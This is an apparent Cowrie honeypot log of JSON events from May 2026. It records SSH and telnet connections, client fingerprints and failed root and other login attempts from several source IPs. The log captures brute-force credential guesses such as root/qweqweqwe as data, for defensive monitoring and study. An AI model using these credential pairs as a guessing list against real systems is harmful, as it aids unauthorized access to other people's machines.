{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:47.943050Z","src_ip":"103.164.9.74","session":"c68baaa5f4f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sascha","message":"login attempt [root/sascha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:48.810486Z","src_ip":"103.164.9.74","session":"c68baaa5f4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38790,"dst_ip":"10.17.0.5","dst_port":23,"session":"0505ee861e9c","protocol":"telnet","message":"New connection: 192.119.13.58:38790 (10.17.0.5:23) [session: 0505ee861e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:49.729828Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:50.021397Z","src_ip":"103.164.9.74","session":"c68baaa5f4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"efef301fa687","protocol":"telnet","message":"New connection: 192.119.13.58:45592 (10.17.0.5:23) [session: efef301fa687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:51.321329Z"}
{"eventid":"cowrie.session.closed","duration":48.75659799575806,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.079818Z","src_ip":"192.119.13.58","session":"775ebd2c7c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54808,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f68742eacc3","protocol":"telnet","message":"New connection: 192.119.13.58:54808 (10.17.0.5:23) [session: 8f68742eacc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.398552Z"}
{"eventid":"cowrie.session.closed","duration":34.838539838790894,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.513000Z","src_ip":"192.119.13.58","session":"51572875d6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54416,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dcbaddfdd08","protocol":"ssh","message":"New connection: 103.149.170.125:54416 (159.203.135.109:22) [session: 5dcbaddfdd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.705648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.710851Z","src_ip":"103.149.170.125","session":"5dcbaddfdd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56394,"dst_ip":"10.17.0.5","dst_port":23,"session":"de809508050f","protocol":"telnet","message":"New connection: 192.119.13.58:56394 (10.17.0.5:23) [session: de809508050f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.742055Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:53.967409Z","src_ip":"103.149.170.125","session":"5dcbaddfdd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666a","message":"login attempt [root/666666a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:54.736136Z","src_ip":"103.149.170.125","session":"5dcbaddfdd08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:55.997068Z","src_ip":"103.149.170.125","session":"5dcbaddfdd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52620,"dst_ip":"10.17.0.5","dst_port":23,"session":"150c046007dd","protocol":"telnet","message":"New connection: 192.119.13.58:52620 (10.17.0.5:23) [session: 150c046007dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:59.170326Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53216,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c87b5fc74f","protocol":"telnet","message":"New connection: 192.119.13.58:53216 (10.17.0.5:23) [session: 47c87b5fc74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:59.325690Z"}
{"eventid":"cowrie.session.closed","duration":0.0045812129974365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:59.330140Z","src_ip":"192.119.13.58","session":"47c87b5fc74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3077fec8d73","protocol":"ssh","message":"New connection: 193.32.162.145:50476 (10.17.0.5:22) [session: a3077fec8d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:59.562157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:59.566487Z","src_ip":"193.32.162.145","session":"a3077fec8d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:59.741023Z","src_ip":"193.32.162.145","session":"a3077fec8d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:00.411656Z","src_ip":"193.32.162.145","session":"a3077fec8d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"40b786ba9b8f","protocol":"telnet","message":"New connection: 192.119.13.58:59636 (10.17.0.5:23) [session: 40b786ba9b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:00.819387Z"}
{"eventid":"cowrie.session.closed","duration":0.004745006561279297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:00.824023Z","src_ip":"192.119.13.58","session":"40b786ba9b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:01.534234Z","src_ip":"193.32.162.145","session":"a3077fec8d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.446579694747925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:07.430368Z","src_ip":"192.119.13.58","session":"57a91d9286fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.00114464759827,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:07.903269Z","src_ip":"192.119.13.58","session":"d5bc110209b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":65081,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcdbb5b6dd0b","protocol":"ssh","message":"New connection: 115.68.226.124:65081 (10.17.0.5:22) [session: bcdbb5b6dd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:12.108593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:12.113802Z","src_ip":"115.68.226.124","session":"bcdbb5b6dd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:12.313195Z","src_ip":"115.68.226.124","session":"bcdbb5b6dd0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ines123","message":"login attempt [root/ines123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:13.148692Z","src_ip":"115.68.226.124","session":"bcdbb5b6dd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.868773460388184,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:13.545852Z","src_ip":"192.119.13.58","session":"d2c599c3046e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:14.350900Z","src_ip":"115.68.226.124","session":"bcdbb5b6dd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23068141937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:14.537977Z","src_ip":"192.119.13.58","session":"732f44c5a4f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69712ff695a","protocol":"telnet","message":"New connection: 192.119.13.58:36284 (10.17.0.5:23) [session: a69712ff695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.062018Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36432,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93d2bd66fc1","protocol":"telnet","message":"New connection: 192.119.13.58:36432 (10.17.0.5:23) [session: f93d2bd66fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.115735Z"}
{"eventid":"cowrie.session.closed","duration":0.005400419235229492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.121000Z","src_ip":"192.119.13.58","session":"f93d2bd66fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37444,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f764562492","protocol":"telnet","message":"New connection: 192.119.13.58:37444 (10.17.0.5:23) [session: 51f764562492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.372100Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":56276,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e2c18d0626","protocol":"ssh","message":"New connection: 201.249.192.30:56276 (10.17.0.5:22) [session: 22e2c18d0626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.471072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.476316Z","src_ip":"201.249.192.30","session":"22e2c18d0626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.542192Z","src_ip":"201.249.192.30","session":"22e2c18d0626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqweqwe","message":"login attempt [root/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.844338Z","src_ip":"201.249.192.30","session":"22e2c18d0626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39682,"dst_ip":"10.17.0.5","dst_port":23,"session":"6788677ca32a","protocol":"telnet","message":"New connection: 192.119.13.58:39682 (10.17.0.5:23) [session: 6788677ca32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:15.890548Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41564,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d15519b6fb6","protocol":"telnet","message":"New connection: 192.119.13.58:41564 (10.17.0.5:23) [session: 2d15519b6fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:16.441796Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:16.913972Z","src_ip":"201.249.192.30","session":"22e2c18d0626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59354,"dst_ip":"10.17.0.5","dst_port":23,"session":"811ece00de7f","protocol":"telnet","message":"New connection: 192.119.13.58:59354 (10.17.0.5:23) [session: 811ece00de7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:20.819422Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40460,"dst_ip":"10.17.0.5","dst_port":23,"session":"505ade5a10df","protocol":"telnet","message":"New connection: 192.119.13.58:40460 (10.17.0.5:23) [session: 505ade5a10df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:23.140387Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"92cc330c686e","protocol":"telnet","message":"New connection: 192.119.13.58:50284 (10.17.0.5:23) [session: 92cc330c686e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:25.545704Z"}
{"eventid":"cowrie.session.closed","duration":37.52990007400513,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:30.928362Z","src_ip":"192.119.13.58","session":"8f68742eacc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":36274,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6635def75de","protocol":"ssh","message":"New connection: 103.173.227.57:36274 (10.17.0.5:22) [session: b6635def75de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:31.236938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:31.242754Z","src_ip":"103.173.227.57","session":"b6635def75de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:31.483863Z","src_ip":"103.173.227.57","session":"b6635def75de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22334455","message":"login attempt [root/22334455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:32.208626Z","src_ip":"103.173.227.57","session":"b6635def75de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":35776,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d85cc9e8f9a","protocol":"ssh","message":"New connection: 40.83.182.122:35776 (10.17.0.5:22) [session: 7d85cc9e8f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:03:32.651510Z"}
